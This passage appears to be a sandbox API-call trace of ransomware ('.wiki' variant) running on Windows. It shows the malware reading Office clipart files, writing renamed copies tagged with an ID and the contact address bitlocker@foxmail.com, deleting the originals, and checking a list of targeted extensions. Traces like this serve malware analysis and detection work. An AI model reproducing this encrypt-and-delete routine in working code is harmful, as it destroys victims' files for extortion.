Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.797] lstrlenW (lpString=".jpg") returned 4 [0198.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.797] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.797] lstrlenW (lpString="J0153398.WMF") returned 12 [0198.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.797] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=17508) returned 1 [0198.797] CloseHandle (hObject=0x1e0) returned 1 [0198.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf")) returned 0x20 [0198.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.798] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.798] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.798] GetLastError () returned 0x0 [0198.798] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x4464, lpOverlapped=0x0) returned 1 [0198.808] WriteFile (in: hFile=0x220, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x4470, lpOverlapped=0x0) returned 1 [0198.811] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.811] WriteFile (in: hFile=0x220, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.811] SetEndOfFile (hFile=0x220) returned 1 [0198.811] CloseHandle (hObject=0x220) returned 1 [0198.811] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.811] SetEndOfFile (hFile=0x1e0) returned 1 [0198.812] CloseHandle (hObject=0x1e0) returned 1 [0198.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf")) returned 1 [0198.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.812] lstrlenW (lpString=".doc") returned 4 [0198.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.812] lstrlenW (lpString=".docx") returned 5 [0198.813] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.813] lstrlenW (lpString=".pdf") returned 4 [0198.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.813] lstrlenW (lpString=".xls") returned 4 [0198.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.813] lstrlenW (lpString=".xlsx") returned 5 [0198.813] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.813] lstrlenW (lpString=".ppt") returned 4 [0198.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.813] lstrlenW (lpString=".zip") returned 4 [0198.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.813] lstrlenW (lpString=".rar") returned 4 [0198.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.813] lstrlenW (lpString=".bz2") returned 4 [0198.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.813] lstrlenW (lpString=".7z") returned 3 [0198.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.813] lstrlenW (lpString=".dbf") returned 4 [0198.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.813] lstrlenW (lpString=".1cd") returned 4 [0198.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.813] lstrlenW (lpString=".jpg") returned 4 [0198.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.813] lstrlenW (lpString=".doc") returned 4 [0198.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.813] lstrlenW (lpString=".docx") returned 5 [0198.814] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.814] lstrlenW (lpString=".pdf") returned 4 [0198.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.814] lstrlenW (lpString=".xls") returned 4 [0198.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.814] lstrlenW (lpString=".xlsx") returned 5 [0198.814] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.814] lstrlenW (lpString=".ppt") returned 4 [0198.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.814] lstrlenW (lpString=".zip") returned 4 [0198.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.814] lstrlenW (lpString=".rar") returned 4 [0198.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.814] lstrlenW (lpString=".bz2") returned 4 [0198.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.814] lstrlenW (lpString=".7z") returned 3 [0198.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.814] lstrlenW (lpString=".dbf") returned 4 [0198.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.814] lstrlenW (lpString=".1cd") returned 4 [0198.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0198.814] lstrlenW (lpString=".jpg") returned 4 [0198.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.814] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.814] lstrlenW (lpString="J0153514.WMF") returned 12 [0198.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.815] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=12752) returned 1 [0198.815] CloseHandle (hObject=0x1e0) returned 1 [0198.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf")) returned 0x20 [0198.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.815] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.815] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.816] GetLastError () returned 0x0 [0198.816] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x31d0, lpOverlapped=0x0) returned 1 [0198.824] WriteFile (in: hFile=0x220, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x31e0, lpOverlapped=0x0) returned 1 [0198.825] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.825] WriteFile (in: hFile=0x220, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.825] SetEndOfFile (hFile=0x220) returned 1 [0198.825] CloseHandle (hObject=0x220) returned 1 [0198.825] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.825] SetEndOfFile (hFile=0x1e0) returned 1 [0198.826] CloseHandle (hObject=0x1e0) returned 1 [0198.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf")) returned 1 [0198.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.826] lstrlenW (lpString=".doc") returned 4 [0198.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.827] lstrlenW (lpString=".docx") returned 5 [0198.827] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.827] lstrlenW (lpString=".pdf") returned 4 [0198.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.827] lstrlenW (lpString=".xls") returned 4 [0198.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.827] lstrlenW (lpString=".xlsx") returned 5 [0198.827] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.827] lstrlenW (lpString=".ppt") returned 4 [0198.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.827] lstrlenW (lpString=".zip") returned 4 [0198.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.827] lstrlenW (lpString=".rar") returned 4 [0198.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.827] lstrlenW (lpString=".bz2") returned 4 [0198.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.827] lstrlenW (lpString=".7z") returned 3 [0198.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.827] lstrlenW (lpString=".dbf") returned 4 [0198.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.827] lstrlenW (lpString=".1cd") returned 4 [0198.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.827] lstrlenW (lpString=".jpg") returned 4 [0198.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.828] lstrlenW (lpString=".doc") returned 4 [0198.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.828] lstrlenW (lpString=".docx") returned 5 [0198.828] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.828] lstrlenW (lpString=".pdf") returned 4 [0198.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.828] lstrlenW (lpString=".xls") returned 4 [0198.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.828] lstrlenW (lpString=".xlsx") returned 5 [0198.828] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.828] lstrlenW (lpString=".ppt") returned 4 [0198.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.828] lstrlenW (lpString=".zip") returned 4 [0198.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.828] lstrlenW (lpString=".rar") returned 4 [0198.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.828] lstrlenW (lpString=".bz2") returned 4 [0198.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.828] lstrlenW (lpString=".7z") returned 3 [0198.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.828] lstrlenW (lpString=".dbf") returned 4 [0198.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.828] lstrlenW (lpString=".1cd") returned 4 [0198.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0198.828] lstrlenW (lpString=".jpg") returned 4 [0198.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.829] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.829] lstrlenW (lpString="J0153518.WMF") returned 12 [0198.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.954] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=12528) returned 1 [0198.963] CloseHandle (hObject=0x220) returned 1 [0198.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf")) returned 0x20 [0198.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.963] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.964] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.985] GetLastError () returned 0x0 [0198.985] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x30f0, lpOverlapped=0x0) returned 1 [0198.990] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3100, lpOverlapped=0x0) returned 1 [0198.992] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.992] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.992] SetEndOfFile (hFile=0x1e0) returned 1 [0198.992] CloseHandle (hObject=0x1e0) returned 1 [0198.992] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.992] SetEndOfFile (hFile=0x220) returned 1 [0198.993] CloseHandle (hObject=0x220) returned 1 [0198.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf")) returned 1 [0198.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.993] lstrlenW (lpString=".doc") returned 4 [0198.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.993] lstrlenW (lpString=".docx") returned 5 [0198.993] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.993] lstrlenW (lpString=".pdf") returned 4 [0198.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.994] lstrlenW (lpString=".xls") returned 4 [0198.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.994] lstrlenW (lpString=".xlsx") returned 5 [0198.994] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.994] lstrlenW (lpString=".ppt") returned 4 [0198.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.994] lstrlenW (lpString=".zip") returned 4 [0198.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.994] lstrlenW (lpString=".rar") returned 4 [0198.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.994] lstrlenW (lpString=".bz2") returned 4 [0198.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.994] lstrlenW (lpString=".7z") returned 3 [0198.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.994] lstrlenW (lpString=".dbf") returned 4 [0198.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.994] lstrlenW (lpString=".1cd") returned 4 [0198.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.994] lstrlenW (lpString=".jpg") returned 4 [0198.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.994] lstrlenW (lpString=".doc") returned 4 [0198.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.995] lstrlenW (lpString=".docx") returned 5 [0198.995] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.995] lstrlenW (lpString=".pdf") returned 4 [0198.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.995] lstrlenW (lpString=".xls") returned 4 [0198.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.995] lstrlenW (lpString=".xlsx") returned 5 [0198.995] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.995] lstrlenW (lpString=".ppt") returned 4 [0198.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.995] lstrlenW (lpString=".zip") returned 4 [0198.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.995] lstrlenW (lpString=".rar") returned 4 [0198.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.995] lstrlenW (lpString=".bz2") returned 4 [0198.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.995] lstrlenW (lpString=".7z") returned 3 [0198.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.995] lstrlenW (lpString=".dbf") returned 4 [0198.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.995] lstrlenW (lpString=".1cd") returned 4 [0198.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0198.996] lstrlenW (lpString=".jpg") returned 4 [0198.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.996] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.996] lstrlenW (lpString="J0171847.WMF") returned 12 [0198.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.996] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c 